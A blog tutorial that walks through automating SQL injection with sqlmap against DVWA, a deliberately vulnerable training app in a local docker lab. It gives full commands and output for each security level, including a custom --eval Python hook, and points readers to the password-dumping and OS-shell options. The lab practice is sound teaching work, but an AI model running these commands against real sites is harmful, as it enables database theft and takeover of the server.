Last week I showed you how to do manual SQL Injections into our DVWA. Today I am revisiting the same topic, only then armed with a SQL Injection automation tool called sqlmap.

This tool comes packed with all kind of goodies when you have found a SQL Injection. Lets take a look at the --help and see what we can use.

-a, --all           Retrieve everything
-b, --banner        Retrieve DBMS banner
--current-user      Retrieve DBMS current user
--current-db        Retrieve DBMS current database
--passwords         Enumerate DBMS users password hashes
--tables            Enumerate DBMS database tables
--columns           Enumerate DBMS database table columns
--schema            Enumerate DBMS schema
--dump              Dump DBMS database table entries
--dump-all          Dump all DBMS databases tables entries
-D DB               DBMS database to enumerate
-T TBL              DBMS database table(s) to enumerate
-C COL              DBMS database table column(s) to enumerate

The --all tries to retrieve whatever the current user is able to retrieve. Not only will it dump out all the tables in the database, whenever it finds a hash, it will perform a dictionary based attack on it.

password attack

Gaining access to the host operating system is also possible through the following commands:

--os-shell          Prompt for an interactive operating system shell
--os-pwn            Prompt for an OOB shell, Meterpreter or VNC

Lets run down the various cases in the DVWA and explore how we can use sqlmap to retrieve the necessary information.

Low Security

As you might imagine, the lowest setting requires the least amount of setup to the tool. Run it in its most basic configuration. As always $SESS refers to the PHPSESSID set in the webapplication, if you are uncertain check out the other DVWA posts.

sqlmap -u "http://172.17.0.1:32770/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie "PHPSESSID=$SESS;security=low" --dbs --drop-set-cookie

In my docker instance I was required to pass along --drop-set-cookie, which ignores the Set-Cookie directive from responses. The --dbs will ask the tool to just list the databases on the server. There is no need to dump the entire thing at this time. If you are curious, replace --dbs with --all.

After a few seconds the first question already pops up, sqlmap identified the mysql database powering the site and asks if it should not focus on just that type, tell it to do so.

[23:10:28] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:10:28] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting attacks
[23:10:28] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

It then asks if it can take some more risks now that it knows the database type, accept the default Yes.

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 

It tries out a whole lot of different approaches to find the exact database version and the best method of exploitation, after only 2 seconds it tell us that it found an entrypoint.

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

It then proceeds to tell us exactly what it can find about the underlying database system.

[23:13:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[23:13:43] [INFO] fetching database names
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

Great, it works! Lets see what the next level has to offer us.

Medium security

The only difference between the low and medium security challenges is the use of a POST vs the GET verb.

The tool has full support for this type of approach and the command is not much different. That data of the post is passed into the --data paramter. Remember, you can use the mitmproxy as way to find out what parameters are used in a POST, see the first DVWA post for examples.

sqlmap --method=POST -u http://172.17.0.1:32770/vulnerabilities/sqli/ --data "Submit=Submit&id=1" --cookie="PHPSESSID=$SESS; security=medium" --dbs 

The output is the same as the Low level.

High security

In the manual scenario the high security level seemed kind of silly, as the exploit was so simple. Doing it automated is quite a different story.

In case you do not remember, we need to set the ID to retrieve in a popup that sets the value for the ID in the session. As far as I know this is not straightforward in sqlmap, but impossible? no!

As most hacking tools, sqlmap allows you to add some of your own code using the --eval parameter. This code will be executed before the normal sqlmap request is performed. You will be given the injected variables and sqlmap allows you to do whatever you want.

So, if we would implement the POST to the session-input.php, sqlmap itself will gladly handle the checking for success for us.

A simple python script to do the POST to the session looks like this:

import urllib;
import urllib2;

opener = urllib2.build_opener();
urllib2.install_opener(opener);
data = urllib.urlencode({'id': id, 'Submit':'Submit'});
headers = {'Cookie',"PHPSESSID=$SESS; security=high"};
request = urllib2.Request('http://172.17.0.1:32770/vulnerabilities/sqli/session-input.php', data);
urllib2.urlopen(request);

If we then transform that to a single command line command.

sqlmap --method=POST -u http://172.17.0.1:32770/vulnerabilities/sqli/ --data "Submit=Submit&id=1" --cookie="PHPSESSID=$SESS; security=medium" -p id  --eval="import urllib; import urllib2; opener = urllib2.build_opener(); urllib2.install_opener(opener); data = urllib.urlencode({'id': id, 'Submit':'Submit'}); headers = {'Cookie',\"PHPSESSID=$SESS; security=high\"}; request = urllib2.Request('http://172.17.0.1:32770/vulnerabilities/sqli/session-input.php', data); urllib2.urlopen(request);" --flush-session --dbs

We will once again be treated to all the database information our heart desires. If you run into problems with the code, you can always add a ProxyHandler to it. You can then follow along with the queries being executed on the application.

proxy_support = urllib2.ProxyHandler({'http':'http://localhost:8080'}); 
opener = urllib2.build_opener(proxy_support); 
urllib2.install_opener(opener);

That’s it for automation. I encourage you to play with --all and --os-shell to see the true power of these types of vulnerabilities.